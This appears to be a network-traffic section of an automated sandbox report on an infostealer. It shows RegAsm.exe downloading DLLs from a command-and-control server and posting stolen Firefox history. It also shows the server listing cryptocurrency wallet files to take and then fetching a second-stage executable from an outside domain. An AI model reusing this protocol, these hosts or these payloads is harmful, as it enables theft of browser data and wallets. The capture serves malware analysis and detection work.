`.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 11, 2024 22:52:08.608355999 CEST	93	OUT	GET /15a25e53742510fe/softokn3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 11, 2024 22:52:08.739412069 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 11, 2024 22:52:08.977500916 CEST	97	OUT	GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 11, 2024 22:52:09.441953897 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 11, 2024 22:52:09.443556070 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 11, 2024 22:52:09.625475883 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 45.152.113.10 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 11, 2024 22:52:09.924360991 CEST	1236	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 45.152.113.10 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 5a 6e 46 7a 4f 54 4a 76 4e 48 41 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e [TRUNCATED] Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfZnFzOTJvNHAuZGVmYXVsdC1yZWxlYXNlLnR4dA==------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="file"aHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL3Byb2R1Y3RzL2ZpcmVmb3gKaHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL2tiL2N1c3RvbWl6ZS1maXJlZm94LWNvbnRyb2xzLWJ1dHRvbnMtYW5kLXRvb2xiYXJzP3V0bV9zb3VyY2U9ZmlyZWZveC1icm93c2VyJnV0bV9tZWRpdW09ZGVmYXVsdC1ib29rbWFya3MmdXRtX2NhbXBhaWduPWN1c3RvbWl6ZQpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9jb250cmlidXRlLwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9hYm91dC8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZmlyZWZveC8/dXRtX21lZGl1bT1maXJlZm94LWRlc2t0b3AmdXRtX3NvdXJjZT1ib29rbWFya3MtdG9vbGJhciZ1dG1fY2FtcGFpZ249bmV3LXVzZXJzJnV0bV9jb250ZW50PS1nbG9iYWwKaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvcHJpdmFjeS9maXJlZm94LwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9wc [TRUNCATED]
Sep 11, 2024 22:52:10.071882963 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 11, 2024 22:52:10.227143049 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:10.273443937 CEST	467	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: 45.152.113.10 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="message"wallets------KJDHCAFCGDAAKEBFIJDG--
Sep 11, 2024 22:52:10.412374020 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 11, 2024 22:52:10.414661884 CEST	465	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECG Host: 45.152.113.10 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"files------KFIIJJJDGCBAAKFIIECG--
Sep 11, 2024 22:52:10.548755884 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:10.608387947 CEST	202	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEB Host: 45.152.113.10 Content-Length: 98527 Connection: Keep-Alive Cache-Control: no-cache
Sep 11, 2024 22:52:10.950084925 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:10.956069946 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKF Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"ybncbhylepme------GHDHDBAECGCAFHJJDAKF--
Sep 11, 2024 22:52:11.239793062 CEST	267	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 64 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 6c 64 6d 39 72 5a 57 56 6b 5a 32 56 73 62 47 4d 75 59 32 39 74 4c 32 46 77 63 43 39 73 4d 69 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 42 38 Data Ascii: aHR0cHM6Ly9ldm9rZWVkZ2VsbGMuY29tL2FwcC9sMi5leGV8MHwwfFN0YXJ0fDB8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	45.152.113.10	80	7728	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:52:16.610018969 CEST	472	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEB Host: 45.152.113.10 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 2d 2d 0d 0a Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBKKJEBFIDAEBFHIDAEB--
Sep 11, 2024 22:52:17.561827898 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	198.54.120.231	443	7728	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 20:52:12 UTC	77	OUT	GET /app/l2.exe HTTP/1.1 Host: evokeedgellc.com Cache-Control: no-cache
2024-09-11 20:52:12 UTC	290	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Sun, 01 Sep 2024 13:57:54 GMT accept-ranges: bytes content-length: 4563640 date: Wed, 11 Sep 2024 20:51:49 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-09-11 20:52:12 UTC	16384	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-09-11 20:52:12 UTC	6016	IN	Data Raw: ab cc cc ea 55 ab 8f 7b 04 84 a8 f4 20 e0 1a dd c1 c9 45 b3 bb 0c ff 18 42 37 c4 fb 8c 72 98 05 67 f2 25 c0 79 fa e8 0d da c4 a3 89 ba 51 9d 78 67 f3 d9 34 79 fe b6 0e 0c 4c bf 1e 94 27 c6 56 14 0d e6 a8 69 b7 a3 73 2f f1 91 72 24 35 7b ff ae 4f 55 78 8a 20 2c ba c9 19 6b 41 61 f9 27 73 a3 16 87 a1 ef 1b 1d dc 6d 7f c4 a7 ae bd 8e 20 58 f3 82 ff ab 0a 18 e3 54 be 02 74 87 a0 66 b6 7e 59 17 47 41 b9 8a fb c2 18 7b ec e6 75 7e 81 9e 13 d2 0d 6f a8 45 27 be 06 f4 04 f7 1e 6a 1f f5 79 92 5c 75 cf 09 f5 cd 15 5d d8 3a e4 0f c0 29 89 88 b9 64 42 e9 c5 fa 6f 28 15 fb 5b 59 db be c4 50 ef 6b cd a7 e2 8e 03 c2 4d 0b 90 14 b3 3e c9 6e b5 f0 aa 0e 7c 76 eb 3d ed 8b ed c8 c8 33 37 8f 25 23 55 55 63 34 a1 07 4c 71 2c 3c 9c 30 99 6e fc 31 ef db f4 c5 e9 62 9a dd b4 00 Data Ascii: U{ EB7rg%yQxg4yL'Vis/r$5{OUx ,kAa'sm XTtf~YGA{u~oE'jy\u]:)dBo([YPkM>n\|v=37%#UUc4Lq,<0n1b
